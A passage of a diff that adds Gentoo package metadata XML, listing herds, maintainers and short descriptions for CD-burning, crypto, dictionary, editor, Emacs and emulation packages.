+  <description>Can't test DVD-writing myself, due to a missing DVD-burner.</description>
+</maintainer>
+<longdescription>Fork of cdrtools for better DVD-writing support.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-cdr/gtoaster">
+<herd>no-herd</herd>
+<maintainer>
+  <email>raker@gentoo.org</email>
+  <name>Nick Hadaway</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-cdr/k3b">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-cdr/xcdroast">
+<herd>no-herd</herd>
+<maintainer>
+	<email>pylon@gentoo.org</email>
+	<name>Lars Weiler</name>
+	<description>Testing on x86 and ppc (only CD-RW, no DVD!)</description>
+</maintainer>
+<longdescription>Menu based front-end to mkisofs and cdrecord</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-crypt/gnupg">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+GnuPG is a complete and free replacement for PGP. Because it does not use the patented IDEA algorithm, it can be used without any restrictions. GnuPG is a RFC2440 (OpenPGP) compliant application.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-crypt/gringotts">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-crypt/kth-krb">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rphillips@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-crypt/md5deep">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-crypt/opencdk">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-crypt/outguess">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zhen@gentoo.org</email>
+	<name>John Davis</name>
+	<description>Full time maintainer</description>
+</maintainer>
+	<longdescription>outguess is a flexible stenography tool</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-crypt/pgpdump">
+<maintainer>
+  <email>matsuu@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-crypt/quickcrypt">
+<herd>dev-perl</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-crypt/rotix">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-crypt/seahorse">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-crypt/steghide">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zhen@gentoo.org</email>
+	<name>John Davis</name>
+	<description>Full time maintainer</description>
+</maintainer>
+	<longdescription>A steganography program that hides data within media files.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/bookview">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/canna-2ch">
+<herd>cjk</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/canna-cannadic">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/canna-zipcode">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/eblook">
+<herd>no-herd</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/ebview">
+<herd>no-herd</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru Komachi</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/gjiten">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/gramadoir">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+This is An Gramad&#xF3;ir, the first grammar and style checker for the Irish language. In fact, this may be the first such package for any minority language.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/ipadic">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/kannadic">
+<herd>cjk</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/migemo-dict">
+<herd>cjk</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/prime-dict">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/pydict">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-cdict-en-zh-big5">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-cdict-en-zh-gb">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-cedict-zh-en-big5">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-cedict-zh-en-gb">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-dictd-devils">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-freedict-eng-deu">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-freedict-eng-fra">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-freedict-eng-ita">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-freedict-eng-lat">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-freedict-eng-rus">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-freedict-eng-spa">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-freedict-eng-swe">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-jmdict-en-ja">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-jmdict-ja-en">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-mova-smiley">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-oxford-en-zh-gb">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-quick-eng-fra">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-quick-eng-jpn">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-quick-jpn-eng">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-xdict-en-zh-big5">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-xdict-en-zh-gb">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict-xdict-zh-en-big5">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/stardict">
+<herd>cjk</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-dicts/sumika">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-doc/doxygen">
+<herd>dev-tools</herd>
+<longdescription>Doxygen is a tool for analyzing, documenting, and reverse-engineering source code.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-doc/phrack-all">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+&quot;...those who know us know what we do, others do not have to....&quot;
+
+
+Phrack Magazine is made available to the public, as often as possible, free of 
+charge.
+New issues are announced on the mailinglist (see below), various forums and are 
+made available on the website (http://www.phrack.org).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-doc/phrack">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+&quot;...those who know us know what we do, others do not have to....&quot;
+
+
+Phrack Magazine is made available to the public, as often as possible, free of 
+charge.
+New issues are announced on the mailinglist (see below), various forums and are 
+made available on the website (http://www.phrack.org).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-doc/quanta-docs">
+<herd>kde-base</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/XML-XSH">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/bluefish">
+<herd>no-herd</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/conglomerate">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/cssed">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/e3">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/emacs-cvs">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/emacs">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/gedit">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/ghex">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/gphpedit">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/gvim">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/jed">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/katoob">
+	<herd>gnome</herd>
+	<herd>middle-east</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/kile">
+<herd>kde-other</herd>
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/kvim">
+<herd>kde</herd>
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/lpe">
+<herd>no-herd</herd>
+<maintainer>
+  <email>pYrania@gentoo.org</email>
+  <name>Markus Nigbur</name>
+</maintainer>
+<longdescription>LPE is a small, efficient programmer's editor for UNIX systems.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/nano">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+GNU nano - an enhanced clone of the Pico text editor.
+
+The nano project was started because of a few &quot;problems&quot; with the
+wonderfully easy-to-use and friendly Pico text editor.
+
+First and foremost is its license: the Pine suite does not use the
+GPL or a GPL-friendly license, and has unclear restrictions on
+redistribution.  Because of this, Pine and Pico are not included with
+many GNU/Linux distributions.  Also, other features (like goto line
+number or search and replace) were unavailable until recently or
+require a command line flag.  Yuck.
+
+nano aims to solve these problems by emulating the functionality of
+Pico as closely as possible while addressing the problems above and
+perhaps providing other extra functionality.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/quanta">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/scite">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/teco">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+TECO /tee'koh/ /n.,v. obs./ 1. [originally an acronym for `[paper] Tape Editor and COrrector'; later, `Text Editor and COrrector'] /n./ A text editor developed at MIT and modified by just about everybody. With all the dialects included, TECO may have been the most prolific editor in use before EMACS, to which it was directly ancestral. Noted for its powerful programming-language-like features and its unspeakably hairy syntax. It is literally the case that every string of characters is a valid TECO program (though probably not a useful one); one common game used to be mentally working out what the TECO commands corresponding to human names did. 
+In mid-1991, TECO is pretty much one with the dust of history, having been replaced in the affections of hackerdom by EMACS. Descendants of an early (and somewhat lobotomized) version adopted by DEC can still be found lurking on VMS and a couple of crufty PDP-11 operating systems, however, and ports of the more advanced MIT versions remain the focus of some antiquarian interest. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/vi">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/vim-core">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/vim">
+<herd>vim</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/xemacs-packages-sumo">
+<herd>no-herd</herd>
+<maintainer>
+  <email>agenkin@gentoo.org</email>
+  <name>Arcady Genkin</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/xxe">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rizzo@gentoo.org</email>
+  <name>Don Seiler</name>
+  <description>I use this app and so am de facto maintainer.</description>
+</maintainer>
+<!-- <longdescription>Long description of the package</longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="app-editors/zoinks">
+<herd>no-herd</herd>
+<maintainer>
+  <email>genone@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/alt-font-menu">
+<herd>emacs</herd>
+<longdescription>
+Automatically generate a menu of available fonts constrained by
+personal preferences, and without increasing frame size. This menu is
+perpended to the options menu but may also be accessed as a pop-up
+bound to shift-mouse-1 (see below).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/analog">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/apache-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/apel">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/auctex">
+<herd>emacs</herd>
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/bbdb">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/binclock">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/boxquote">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/bubblet">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/cdi">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/cdrw">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/chess">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/color-theme">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/crontab-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/crypt++">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/ddskk">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/df">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/dictionary">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/dircolors">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/ecb">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/eieio">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/elib">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/elscreen">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/emacs-w3m">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/emacs-wiki">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/eperiodic">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/erc-cvs">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/erc">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/erobot">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/flim">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/folding">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/gnus-cvs">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/gnus">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/gnuserv">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/graphviz-dot-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/h4x0r">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/haskell-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/highline">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/htmlfontify">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/htmlize">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/http-emacs">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/httpd">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/ibuffer">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/igrep">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/iiimecf">
+<herd>cjk</herd>
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/ilisp">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/inform-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/jam-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/jasmin">
+<herd>emacs</herd>
+<longdescription>
+jasmin.el is an Emacs major mode for editing Jasmin Java bytecode
+assembler files. It provides automatic formatting, customizable
+fontifying, and quick-reference syntax help. Font-lock specifications
+are derived from an encoded grammar, for detailed syntax coloring.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/jde">
+<herd>emacs</herd>
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/junkbust">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/liece">
+<herd>emacs</herd>
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/limit">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/lookup">
+<herd>emacs</herd>
+<herd>cjk</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/lua-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/mailcrypt">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/matlab">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/md5">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/mell">
+<herd>cjk</herd>
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/mew">
+<herd>emacs</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+  <description>I'm not currently using it by myself, so if you are
+  an active user and willing to take maintainership of it, please
+  contact me personally.
+  </description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/mldonkey">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/mmm-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/monk">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/mule-ucs">
+<herd>cjk</herd>
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/navi2ch">
+<herd>cjk</herd>
+<herd>emacs</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/ognus">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/php-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/prime-el">
+<herd>cjk</herd>
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/protbuf">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/psgml">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/psql">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/python-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/quack">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/qwerty">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/redo">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/regress">
+<herd>emacs</herd>
+<longdescription>
+This module provides support for writing and executing regression
+tests for Emacs Lisp code.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/rfcview">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/riece">
+<herd>emacs</herd>
+<herd>net-irc</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/ruby-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/semantic">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/semi">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/session">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/sha1">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/simple-wiki">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/slime-cvs">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/sml-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/speedbar">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/stripes">
+<herd>emacs</herd>
+<longdescription>
+Highlights every even line with an alternative background
+color. Useful for buffers that display lists of any kind - as a guide
+for your eyes to follow these lines.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/table">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/tamago">
+<herd>cjk</herd>
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/tdtd">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/thinks">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/thumbs">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/tnt">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/tramp">
+<herd>emacs</herd>
+<longdescription>
+TRAMP (Transparent Remote Access, Multiple Protocols) is a package for
+editing remote files, similar to ange-ftp. Whereas ange-ftp uses FTP
+to conn ect to the remote host and to transfer the files, TRAMP uses a
+remote shell conn ection (rlogin, telnet, ssh)
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/tuareg-mode">
+<herd>ml</herd>
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/typing">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/u-vm-color">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/uboat">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/uptimes">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/view-process">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/vm">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/w3">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/w3mnav">
+<herd>emacs</herd>
+<longdescription>
+w3mnav.el is an Emacs add-on that kludges some Info-like navigation
+keys to the w3m Web browser. This functionality was originally part of
+the Sche me support package Quack, and was intended to work with the
+numerous Scheme book s that were converted to HTML from LaTeX format.
+It also works with some other H TML pages that have book-like &quot;next
+page&quot; and &quot;previous page&quot; links.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/wanderlust-cvs">
+<herd>emacs</herd>
+<herd>net-mail</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/wanderlust">
+<herd>emacs</herd>
+<herd>net-mail</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/weather">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/xrdb-mode">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/xslide">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/yatex">
+<herd>cjk</herd>
+<herd>emacs</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+<longdescription>
+YaTeX is an intelligent, acquisitive and integrated package which
+reduces your efforts of composing LaTeX source on Emacs. And yahtml is
+the honest and bright YaTeX-compatible major-mode package for writing
+HTML. If you have noticed the power of YaTeX, you can drive yahtml
+over the HTML files quickly and steadily. And vice versa, of course.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/yc">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emacs/zenirc">
+<herd>emacs</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/XWine">
+<herd>wine</herd>
+<longdescription>
+This package allows you to run many winodws applications in your *nix environment. It can be used either with your existing Windows instalation or without it.
+</longdescription> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/dlx">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rphillips@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/dosemu">
+<herd>no-herd</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/mol">
+	<herd>ppc</herd>
+	<longdescription>
+		mac-on-linux -- Running Mac OS (X) from within Linux
+	</longdescription>
+	<maintainer><email>pylon@gentoo.org</email><name>Lars Weiler</name></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/mono-wine">
+<herd>dotnet</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/point2play">
+<herd>wine</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
